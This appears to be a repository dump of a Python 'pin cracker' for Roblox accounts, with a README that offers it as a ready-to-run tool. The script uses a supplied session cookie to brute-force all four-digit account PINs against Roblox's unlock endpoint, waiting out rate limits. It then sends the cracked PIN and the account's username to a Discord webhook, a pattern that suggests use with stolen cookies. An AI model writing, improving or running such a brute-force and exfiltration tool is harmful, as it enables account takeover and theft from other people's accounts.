├── README.md └── cracker.py /README.md: -------------------------------------------------------------------------------- 1 | # Lucid Pin Cracker 2 | slow but simple pin cracker that sends the pin to your webhook when cracked, inspired by: Egypt#2325, coded/remade by karlo#7777 3 | # How to use 4 | 1. Download the cracker.py file 5 | 2. Run it 6 | 3. Enter cookie, webhook, whatever it asks for 7 | 4. Let it run, will take a long time but it surely will crack it 8 | 5. When it's done it will send to your webhook 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /cracker.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import re 3 | import string 4 | import time 5 | import os 6 | 7 | pingEveryone = True 8 | print('') 9 | print('Enter your cookie below:') 10 | cookie = input() 11 | os.system("cls") 12 | print('') 13 | print('Enter your webhook below:') 14 | webhook = input() 15 | os.system("cls") 16 | print('') 17 | print('Should we ping Everyone?: ( y / n )') 18 | pingEveryone = input() 19 | os.system("cls") 20 | if pingEveryone.lower == 'y' or pingEveryone == 'yes': 21 | ping = '@everyone' 22 | else: 23 | ping = '***Pin Cracked!***' 24 | os.system("cls") 25 | 26 | print(''' 27 | ██╗ ██╗ ██╗ █████╗ ██╗██████╗   ██████╗ ██╗███╗ ██╗ 28 | ██║ ██║ ██║██╔══██╗██║██╔══██╗  ██╔══██╗██║████╗ ██║ 29 | ██║ ██║ ██║██║ ╚═╝██║██║ ██║  ██████╔╝██║██╔██╗██║ 30 | ██║ ██║ ██║██║ ██╗██║██║ ██║  ██╔═══╝ ██║██║╚████║ 31 | ███████╗╚██████╔╝╚█████╔╝██║██████╔╝  ██║ ██║██║ ╚███║ 32 | ╚══════╝ ╚═════╝ ╚════╝ ╚═╝╚═════╝   ╚═╝ ╚═╝╚═╝ ╚══╝ 33 | 34 | █████╗ ██████╗ █████╗ █████╗ ██╗ ██╗███████╗██████╗ 35 | ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝██╔════╝██╔══██╗ 36 | ██║ ╚═╝██████╔╝███████║██║ ╚═╝█████═╝ █████╗ ██████╔╝ 37 | ██║ ██╗██╔══██╗██╔══██║██║ ██╗██╔═██╗ ██╔══╝ ██╔══██╗ 38 | ╚█████╔╝██║ ██║██║ ██║╚█████╔╝██║ ╚██╗███████╗██║ ██║ 39 | ╚════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝\n\n''') 40 | 41 | url = 'https://auth.roblox.com/v1/account/pin/unlock' 42 | token = requests.post('https://auth.roblox.com/v1/login', cookies = {".ROBLOSECURITY":cookie}) 43 | xcrsf = (token.headers['x-csrf-token']) 44 | header = {'X-CSRF-TOKEN': xcrsf} 45 | 46 | i = 0 47 | 48 | for i in range(9999): 49 | try: 50 | pin = str(i).zfill(4) 51 | payload = {'pin': pin} 52 | r = requests.post(url, data = payload, headers = header, cookies = {".ROBLOSECURITY":cookie}) 53 | if 'unlockedUntil' in r.text: 54 | print(f'Pin Cracked! Pin: {pin}') 55 | username = requests.get("https://users.roblox.com/v1/users/authenticated",cookies={".ROBLOSECURITY":cookie}).json()['name'] 56 | data = { 57 | "content" : ping, 58 | "username" : "Lucid Pin Cracker", 59 | "avatar_url" : "https://cdn.discordapp.com/attachments/857646271433801748/861595357778804756/lucidicon.png" 60 | } 61 | data["embeds"] = [ 62 | { 63 | "description" : f"{username}\'s Pin:\n```{pin}```", 64 | "title" : "Cracked Pin!", 65 | "color" : 0x00ffff, 66 | } 67 | ] 68 | 69 | result = requests.post(webhook, json = data) 70 | input('Press any key to exit') 71 | break 72 | 73 | elif 'Too many requests made' in r.text: 74 | 75 | print(' Ratelimited, trying again in 60 seconds..') 76 | time.sleep(60) 77 | 78 | elif 'Authorization' in r.text: 79 | 80 | print(' Error! Is the cookie valid?') 81 | break 82 | 83 | elif 'Incorrect' in r.text: 84 | print(f" Tried: {pin} , Incorrect!") 85 | time.sleep(10) 86 | except: 87 | print(' Error!') 88 | 89 | input('\n Press any key to exit') 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | --------------------------------------------------------------------------------